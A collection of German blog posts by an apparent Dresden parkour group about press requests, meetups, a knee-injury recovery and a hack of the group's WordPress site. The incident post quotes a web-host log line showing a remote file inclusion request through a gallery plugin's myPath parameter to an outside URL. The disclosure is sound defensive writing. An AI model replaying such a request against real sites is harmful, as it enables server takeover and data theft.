Ort: Hepkeplatz

Zeit: 1700?

Es wird jemand von SPOG wegen eines Artikels für das jsc-Magazin da sein.

Vor ca. einem halben Jahr hatte schon einmal das jsc-Magazin (“Ein Magazin für junge Sparkassen-Kunden”) angefragt. Das ganze ist aber im Sande verlaufen.

Jedenfalls sind sie nachwievor an einem Beitrag interessiert. Für das nächste Magazin ist der Redaktionsschluss am 19.08. und verständlicherweise würden die sich gern schon nächste Woche mit uns treffen wollen.

Hinter dem Magazin steht die Werbeagentur Speck, Obst & Gemüse. Einen Eindruck, wie so ein jsc-Mag aussieht, kann man sich auf deren Seite verschaffen.

Ich würde es riskieren. Genügend Erfahrung haben wir ja nun, so dass wir auch gern mal ein Interview abbrechen oder im schlimmsten Fall der VÖ widersprechen können

In der Semesterstartausgabe der ad.rem (kostenlose wöchtentliche Zeitung für die Studenten in DD und FR) im Oktober soll ein Artikel über Parkour in DD (speziell wohl Uni-bezogen) erscheinen. Ich kenne die Schreiberin persönlich und denke, man könnte es mal wieder riskieren. Zumindest könnte man hier sicher etwas mehr Einfluss auf den Text nehmen. Sie will sich diese Woche noch treffen, weil sie dann erstmal außer Landes ist.

Hätte noch jemand Lust, zu einem Treffen (wann und wo steht noch aus) mitzukommen? Zur Not werde ich sie vertrösten.

Ahoi, Christoph

Am Donnerstag soll wieder Krafttraining am Hbf vor dem InterCity Hotel sein. Damit man wenigstens EINmal in der Woche was vernünftiges macht

Ich schlage wieder 17:00 Uhr als Beginn vor. Da ist es dann nicht mehr ganz so heiß. 3 Liter Wasser sind trotzdem (mindestens) angebracht. Es sollen schließlich 33° werden (gefühlt wie 35° ) Das wird ein Fest!

Ahoi, Christoph

Ahoi Leute,

Aus gegebenem Anlass mal wieder was von mir. Ich war heute das erste mal seit über einem Jahr wieder laufen und fühle mich GUT. Wie ich es vermisst habe. Wie sehr ich gezweifelt habe, ob ich je wieder laufen, geschweige denn Parkour laufen gehen könnte. Habe jetzt seit über einem Jahr an meinen Knien laboriert und schon die schlimmsten Horrorvisionen von wegen Arthrose und sonstigen Zerfallerscheinungen gehabt. Im Nachhinein ist die Geschichte äußerst banal und klar nachzuvollziehen:

Es fing damit an, dass ich mir im Dezember 2006 einen Muskelriss im Deltoid zugezogen hatte. Wahrscheinlich nicht richtig erwärmt und dann zuviel Last drauf gegeben (passe muraille?). Den Riss hatte ich seinerzeit nicht als solchen bemerkt und es zuerst für eine Zerrung gehalten. Da ich kein Fan von zum-Arzt-gehen bin, hat es bis Februar 2007 gedauert bis ich mal einen Arzt drauf schauen ließ. Nun gut – ich konnte nichts mehr mit den Armen machen, also habe ich mich auf die Beinarbeit konzentriert: Laufen gehen, Kniebeuge, Balance, etc. Irgendwann fingen die Knie beim Laufen an zu zwicken, was ich erst als temporäre Erscheinung durch Übermüdung abgetan habe. Dann wurde es so schlimm, dass ich keine zwei Laufschritte mehr tun konnte, ohne gleich wieder stehen bleiben zu müssen, weil es einfach nicht auszuhalten war. Diesmal war ich aber sofort beim Doc und der diagnostizierte eine Knorpelentzündung unterhalb der Kniescheibe (wohl an der Kniescheibensehne (ligamentum patellæ wer’s genau wissen will :])). Also waren 3 Monate Pause angesagt.

Irgendwann waren die 3 Monate rum, aber es hatte sich nichts getan. Normales gehen ging, aber Treppauf, Treppab und bei leichten Steigungen zwickte es immernoch in den Knien. Laufen ging erst recht nicht. Ich habe mich in Geduld geübt und die Zeit ihr Ding tun lassen. Zum Arzt bin ich dann nicht mehr gegangen. Wahrscheinlich würde ich aber heute auch noch auf Besserung hoffen, wenn nicht einer meiner Freunde zufällig ähnlich Symptome gehabt hätte. Er war beim Physiotherapeuten und der meinte sofort, dass die Oberschenkelmuskulatur verkürzt ist und die Muskeln die Kniescheibe nach oben ziehen und dadurch ständig Reibung entsteht. Fragt mich nicht nach Details. Jedenfalls erkannte ich die Parallelen: Ich hatte mich nach dem Deltamuskelriss auf die Beinmuskulatur konzentriert und evtl. nicht genug gedehnt. Dadurch verkürzte sich die Muskulatur und das Zwicken begann. Es schien logisch. Also fing ich an, die gesamte Oberschenkelmuskulatur zu dehnen.

Der Erfolg stellte sich nahezu im Handumdrehen ein. Schon zwei Wochen nach Beginn wurde das Zwicken beim Treppensteigen merklich weniger. Nur an leichten Steigungen, wenn das Knie eigentlich keine Arbeit mehr verrichtet, sondern das Bein gerade bleibt und die Steigarbeit von der Gesäßmuskulatur verrichtet wird merkte ich die Knie noch – mal mehr das linke, mal mehr das rechte. Eigenartigeweise nie beide zusammen. Das ganze war nun vor ca. 10 Wochen. Ich habe in den vergangenen Wochen nun nicht intensivst gedehnt, sondern mal früh, mal abends, mal früh und abends, dann mit ein, zwei Tagen Pause – also immer wenn ich gerade dann dachte, aber nicht nach einem festen Plan. Mein Ansatz war “Na wenn deiner Muskulatur nach Dehnen zumute ist, wird es dir schon in den Sinn kommen, dass es so ist”

Jedenfalls war ich heute wieder auf meiner Standardstrecke – wenn auch mit verkürzter Distanz. Ich werde das beobachten und auf keine Fall das Dehnen vergessen

Was lernen wir daraus? Nicht übertreiben. Immer schön erwärmen. Immer brav dehnen. Auf den Körper hören. Nichts erzwingen, bei dem ihr kein gutes Gefühl habt.

Einen schönen Tag euch allen,
Christoph

Hallo Leute,

das Jugend-Kundenmagazin der Ostsächsischen Sparkasse will einen Artikel über uns bringen. Und zwar (festhalten): “Über Parcours viel berichtet, was ist mythos, was wahrheit, wie sieht die szene in dd aktuell aus.”

Man soll den Leuten ja nicht immer negativ gegenüberstehen und nicht gleich nur das Schlechte sehen. Mal abgesehen davon, dass sich da jemand scheinbar noch GAR NICHT informiert hat (parcours?), vermute ich, dass sich hier jemand ggü. seiner jüngeren Kundschaft als “hip” auszeichnen will. Andererseits muss so ein Magazin wahrscheinlich keine reißerischen Artikel schreiben, um Leserschaft zu generieren und es bestünde die Chance, etwas tiefer in die Materie zu gehen. Allerdings ist das Jugend-Kundenmagazin der OSP sicher nicht die Plattform, auf der wir diejenigen erreichen, die wir erreichen wollen (Stichwort: Aufklärung).

Ich würde erstmal dankend ablehnen wollen. Wie seht ihr das?

Gruß, Christoph

edit:
Nur zwei weitere Leute haben eine Meinung dazu?
@all: Schreibt doch bitte auch etwas.

Ihr werdet nicht glauben, was ich gerade in meinem Briefkasten gefunden habe.. Die Jugendredaktion der SZ fragt, ob wir demnächst “Aktionen planen, die man als Anlass für einen Bericht nehmen könnte.”

Ich bin gewillt, schlichtweg “nein” zu sagen, da wir – aus meiner Sicht – keine “Aktionen planen” und schon gar nichts, was “Anlass für einen Bericht”sein könnte. Aufgrund des Terminus “Jugendredaktion” und unserer letzten Erfahrung mit SZ und MoPo habe ich so ein ganz blödes Gefühl, was da wohl die Erwartungshaltung sein könnte

Nichtsdestotrotz sollten wir uns das mal zum Anlass nehmen, und über eine eigene Presserichtlinie nachdenken. Die von parkourONE finde ich sehr gut, aber der ein oder andere meinte, es wäre vll. besser, etwas eigenes zu haben.

Und da wir gerade bei “eigenen” Sachen sind. Die Diskussion um einen Namen ist ja auch eingeschlafen und die würde ich hiermit gerne wieder beleben. Glücklicherweise habe ich mir seinerzeit die Diskussionsseite aus dem Wiki ausgedruckt.. Ich weiß nicht, ob ich morgen (21.10.) dabei sein kann, aber zum nächsten Treffen bring ich mal die Papiere mit.

Ahoi, Christoph

Ich schlage für das kommende Wochenende als Zeit wieder 1500 vor. Ort: Alte Mensa auf dem Campus der TU (Mommsenstraße). Erreichbar mit 72, 76 über Haltestelle Mommsenstraße oder 3, 8, 61 über Haltestelle Nürnberger Platz.

Das Treffen am 23. hat dewegen nicht stattgefunden, weil die Interviewerin von der MoPo meine Nachricht über den Treffpunkt nicht erhalten hat (sie hat zuhause kein Netz..). Also machen wir es ihr diesmal einfacher und entscheiden uns bis Donnerstag über den Treffpunkt

Ahoi, Christoph

Auch dieses WE wollen wir uns wieder treffen. Zeit wie üblich 15:00. Treffpunkt: Zwinglistraße (bzw. Rothermundtpark)

Den Termin mit der Presse würde ich erstmal auf Sonntag legen wollen. Je nachdem, an welchem Tag mehr Leute kommen, können wir das auch gern verschieben.

Um chefkoch zu zitieren: “Der Sport ist in Mode..”

Ahoi, Christoph

edit 070914 16:04
Wir sind nicht natürlich die einzigen, die diesem Angriff unterlagen. Eine Google Group diskutiert genau das gleiche Script, was bei uns zum Einsatz kam.
/edit

edit 070914,11:52
Seit heute morgen scheint das Problem behoben. Nach dem Neuaufsetzen sämtlicher Dateien, ist der Fremdcode offenbar nicht mehr vorhanden. Daher gilt der Aufruf an alle:
Bitte umgehend das Passwort neu setzen (siehe Ende dieses Eintrages)
Wenn der Angreifer wieder einen Zugang findet, werden wir entweder alle Benutzer löschen oder zumindest in einem Rutsch alle Passwörter auf einen Schlag ändern müssen, wobei es dann das neue Passwort nur gegen eine Anfrage per Mail gibt. Alles sehr, sehr ärgerlich, aber so ist das wahre Leben
/edit

Durch eine Sicherheitslücke in einem php-Script ist es möglich, dass ein Angreifer an Benutzerdaten gelangt ist. Robert hat eine Infomail vom Webhoster an mich weitergeleitet. Hier ein Teil des Inhalts:

[...]
wir registrierten vor kurzem einen Crackversuch auf unseren Servern, der
von Ihrer Präsenz ausging. Der Angreifer versuchte, sich durch
Sicherheitslücken in den von Ihnen verwendeten Scripten Zugriff zum
Server zu verschaffen. Es ist davon auszugehen, dass der Angreifer
Zugriff auf Ihre Daten erhalten konnte.

Es handelt sich um das Script
“/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php”,
welches über den Parameter “myPath” die Ausführung beliebigen Codes
erlaubt.

200.117.61.136 – - [13/Sep/2007:01:10:12 +0200] “GET
/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=ht
tp://www.iff.coop/…/bre.txt? HTTP/1.1″ 200 689 www.parcour-dresden.de
“-” “Mozilla/3.0 (compatible; Indy Library)” “-”
[...]

Just heute kam auch ein Sicherheitsupdate für WordPress, dass zwei größere Lücken schließt:

http://www.heise.de/security/news/meldung/95920

Bitte verwendet keine trivialen Passwörter.
Als Anhalt: Mindestens 8 Zeichen lang (besser mind. 10), eine willkürliche Reihenfolge aus Klein-, Großbuchstaben, Ziffern und Sonderzeichen. Es können auch gerne Akronyme verwendet werden, um sich das PW leichter zu merken. Z.B. Welches Scriptkiddie geistert hier seit drei Wochen durch den Blog? -> WSghs3WddB?
Verwendet bitte keine PW, die in einem Wörterbuch zu finden sind. Es ist übrigens auch nicht sinnvoll, diese lediglich in 1337-5p34k umzuwandeln; das können die PW-Cracker mittlerweile auch alle.

Ich denke, Robert wird nochmal eine Info rausgeben, wenn entsprechende Updates eingespielt wurden. Spätestens danach sollten alle Passwörter nochmal neu gesetzt werden.

->Schon passiert. Alles NOCHMAL NEU aufgespielt, Bilder werden teilweise nicht mehr funktionieren, da genau in dem entrprechenden Plugin die Sicherheitslücke war. (Robert)

Gruß, Christoph